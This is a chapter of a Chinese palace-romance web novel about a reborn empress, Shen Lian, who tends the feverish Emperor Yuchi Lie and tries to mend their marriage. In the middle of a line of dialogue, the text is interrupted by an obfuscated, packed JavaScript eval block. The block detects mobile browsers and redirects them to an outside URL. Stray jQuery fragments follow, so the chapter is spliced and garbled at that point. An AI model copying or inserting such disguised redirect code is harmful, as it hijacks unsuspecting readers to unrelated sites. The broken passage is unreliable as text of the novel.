6. 第 6 章
作品:《贤后重生》 天黑之后,雪下得更大了,还能听到风声。
尉迟烈眉皱得厉害,他被梦境困住,喘不过气来。
怀里是婴儿的哭啼声,他隔着门望向里面的人,眼睛红得像是要浸出血来,他对着门里的人吼:
“沈潋,我又做错了什么!”
她不应他,只是哭,眼睛里是滔天的恨意和厌恶。
他心里被刺似地疼,声音弱下来,“阿潋,我…”
门被关上,他什么都看不到,他看不到她了。
灯芯‘啪’地擦出一个火花,他猛地睁开眼睛,眼里都是血丝,喘着粗气,过了很久才满满平缓下来。
“你醒啦。”一道温柔的声音在他耳边响起。
他头一顿一顿地转过去,看见沈潋温柔的面容,眼里带着喜意,似乎很高兴看到他。
尉迟烈看着眼前弯着腰望着他的人,反应不过来,眼睛一眨不眨。
沈潋看着他出神的模样,有些着急,“发烧了?”
她去摸他的脸,喃喃自语:“也不热啊。”
尉迟烈看着她担忧的眼神,慢慢回过神来,拍开她的手,嗓音沙哑:“你在这干什么?”
沈潋听他这样问,一时也有些无措,对上他的眼反问:“你都忘记了?”
一阵咳意袭来,尉迟烈拳头抵着唇咳了好几下,很快苍白的脸变得红扑扑。
沈潋马上起身倒了一杯水给他,“喝点润润嗓子。”
尉迟烈脸上有些不自在,他忍着咳嗽,一口灌下那杯水。
沈潋去拿他手里杯子,却看见他正望着他,眼神莫测。
“杯子给我吧。”
杯子被尉迟烈随便扔在床上,他看着眼前人有些苍白的面容,不悦抬眉:“谁让你多管闲事。”
“我...”
“为了太史令?那你大可放心,没有你闯进来,我根本没打算对他做什么。”
“倒是辛苦皇后冒雪奔来,不可避免地碰到了你最厌恶的人,真是对不住。”
他的话阴阳怪气,带着刺。
沈潋唇边溢出一丝苦笑,尉迟烈这人就是这样,上辈子阴阳怪气了十四年,对着她脾气更是恶劣,似乎以怼她为乐。
上辈子她亦厌恶他,只是后来她心气渐渐放平,尉迟烈还是一如既往的嘴巴坏。
每年两人也见不到几次,在那些节日典礼他们不得不同台的时候,他的阴阳怪气和阴晴不定都针对她。
她早就练就了一身视若无睹的好本事,再有上辈子宣政殿的那段经历,她知道尉迟烈是非常在意她的,只是她不知道这人在意的方法为何会如此咄咄逼人。
沈潋轻吁了一口气,拿走被他乱扔在床上的杯子,起身放到桌子上,推开门关上出去了。
尉迟烈看着沈潋离开,脸上努力堆积的恶劣笑意倏然消散。
他看着门,呼吸渐渐急促,鼻翼阖动。
他握紧拳头从床上跳下去跑到门边,那手触碰到门框,又收回去,这样好几次,最终人颓然地抱着头蹲到门边。
突然,那门再次被打开,他哽咽着嗓音怒吼:“吴全,你滚出去!”
沈潋没看见床上的人,被一声怒吼惊得托盘上的药都荡了好几圈,差点洒在外面。
她看见门边的人,“陛下,你在门后蹲着干什么,是头疼了吗?”
尉迟烈听到温柔似水的声音,猛地抬头,说话有些结巴:“你,你不是,不是走了吗?”
沈潋把药放到桌子上,“我刚刚去拿药了,叫吴全也不见他人,只能我去拿药了。”
尉迟烈一个猛窜起身,目光在沈潋身上流连,又马上移开,随即大叫起吴全来:“吴全!给朕滚出来!”
叫了好久,也不见吴全来。
沈潋看见他眼里的水光和红丝,有些担心他病情加重,“先吃些东西吧,再喝药。”
尉迟烈固执地在那里站了许久,沈潋自己从容地坐着喝起粥来,尉迟烈慢腾腾地走过来和她同坐一桌,看着她。
“你...”
“你眼睛...”
两人同时出声,沈潋先回答了他的话,“我还没吃东西,跟你吃些。”
尉迟烈不敢相信,倒记着她问的,“眼睛里进了沙子。”
“沙子?“沈潋疑惑地看眼周身金碧辉煌的偏殿。
他又慌忙道:“灰尘!”
她摇摇头,不懂尉迟烈在说些什么,把粥和药推到他面前,和他聊起来,
“太医说你是劳累过度,加之水米未进,才会晕倒,先吃些清淡的,再喝药。”
尉迟烈在她的缓慢道来中三两下喝完了粥,他真的很饿!
等到吃药的时候,他迟疑了。
回首过往七年,沈潋对他有恨,有厌恶,她的身后是王黯,他还知道她给王黯传了不少信。
生下犊儿时,她对他说过的狠话他还记得,她说总有一天她会杀了他。
那么这个‘总有一天’会是今晚吗,会是用这碗药结束他的性命吗?
沈潋见他盯着药碗一动不动,暗怪自己粗心。
她拿走他面前的碗,喝了一口才递给他,打消他的疑虑,“没下毒。”
尉迟烈没想到她会有这样的动作,不知怎么,心里升起一股自责感,可马上又被压下。
他拿过碗一个仰头全部喝下,喝完抹了一把嘴道:“倒是有这个可能。”
沈潋自动忽略他的话,“今日我去宣政殿,不是为了太史令,是为了你。”
她不想刚重生就与他产生误会,她都重生一次了,不想两人之间再赌气制造误会。
尉迟烈有点应激:“你骗人。”
她心里觉得尉迟烈真是,难不成是被骗大的不成?
可转念一想,她自己是重生的,人家又不知道,在他眼里,她就是一夜之间大改态度,确实令人难以相信。
那是该讲些道理,“你我都知道太史令是舅舅的人,如今舅舅远在宣州,手都能伸那么长,他那是在故意激你,你的脾气大家有目共睹,如果我没有过去,今日后果谁又知道呢。”
听她那么娓娓道来,句句分析,尉迟烈有些恍惚,“我没打算火烧宗庙。”
沈潋点头,“我知道你只是想吓唬那些大臣,可你知道门下侍郎杨慎今日是带病上朝吗,你还把刀架在他头上,要是他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092077|195470||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出了什么事,朝廷上有谁能对抗舅舅?”
尉迟烈一直都知道沈潋很厉害,自己在她面前只觉自惭形秽,他脸上烧烧的,最后定睛在她身上,无比认真严肃地问她:“沈潋,你为什么要跟我说这些?”
沈潋不慌,她早已想好了答案,“我们没见的这一年,我想通了很多,我只是舅舅的一颗棋子,他谁都不在乎,我不想把自己的人生搭在他手里。”
“我有更在乎的人,我在乎太子,你也在乎太子,我么有共同在乎的人,所以为了他,我们不要在赌气了。”
她的话尉迟烈没有回答,他只是看着药碗一动不动,不知道在想什么。
沈潋看外面时间已经很晚了,就披上大氅,打开了门走出去,这时尉迟烈却突然叫住她:“去哪儿?”
她对着他行了个礼,“今日天晚,臣妾就先回昭阳殿了。”
说着人就消失在了大雪里,尉迟烈看着空空的偏殿有些怅然。
宣政殿门口,绿葵和青萝早已等候在那里,一人拿着伞,一人拿着暖手炉。
见她出来,绿葵给她打伞,青萝给她递暖手炉。
两人神态焦急,又满腹疑问。
绿葵先说:“娘娘,陛下没有为难你吧?”说着竟去检查她的脸和手,像是要看她有没有被尉迟烈打。
沈潋笑起来,心想这下坏了,看来世人对尉迟烈的看法真的有点偏了。
“我没事,什么事都没有,你们放心。”
绿葵满目愁容仔细检查着,“娘娘您真的没事吗?”
沈潋大大方方地给她们检查,顺便说着尉迟烈的好话,“他没有你们想得那么坏。”
她一说完,两人同时看向她,眼里都是不可思议。
青萝道:“娘娘,今日您怎么替陛下说起好话来?”
难不成是打了陛下一掌,就生出了怜爱?
那可不行,青萝继续说着,“娘娘,你不知道吗,陛下他...”
毕竟在宣政殿门口,她不敢太大声,靠近着沈潋小声嘀咕,“陛下他可是揍过大臣的。”
她一脸严肃,沈潋无法反驳,毕竟这事是真的。
她们边走边说话,绿葵问她:“娘娘,您真的打陛下了吗?”
沈潋打是打了,说起来很有些为难,她这辈子从没有打过别人,上辈子也是,没想到重生归来第一个打的却是尉迟烈。
她保证,这是她最后一次打人。
绿葵和青萝看娘娘不愿意说的样子,就不问,转而说起昭阳殿里她们已经让人准备的晚膳,什么金齑玉鲙、荔枝香、玉露团。
沈潋好笑地看着她们,“大晚上吃这么多呀?”
绿葵和青萝对视一眼,绿葵对她道:“娘娘,您昨日不是说病好得差不多了,今晚就要吃些丰盛的吗?”
沈潋刚重生回来,自然忘记了这吩咐,她摇了摇头,“今日事一多,我忘了。”
她看着圆润的绿葵和青萝,“我们回去一起吃,我们谁都不能瘦下来。”
她想到上辈子他们在梨庭院的悲惨日子。
青萝和绿葵高兴地应一声,她们在拐弯处乘了辇车回了昭阳殿。

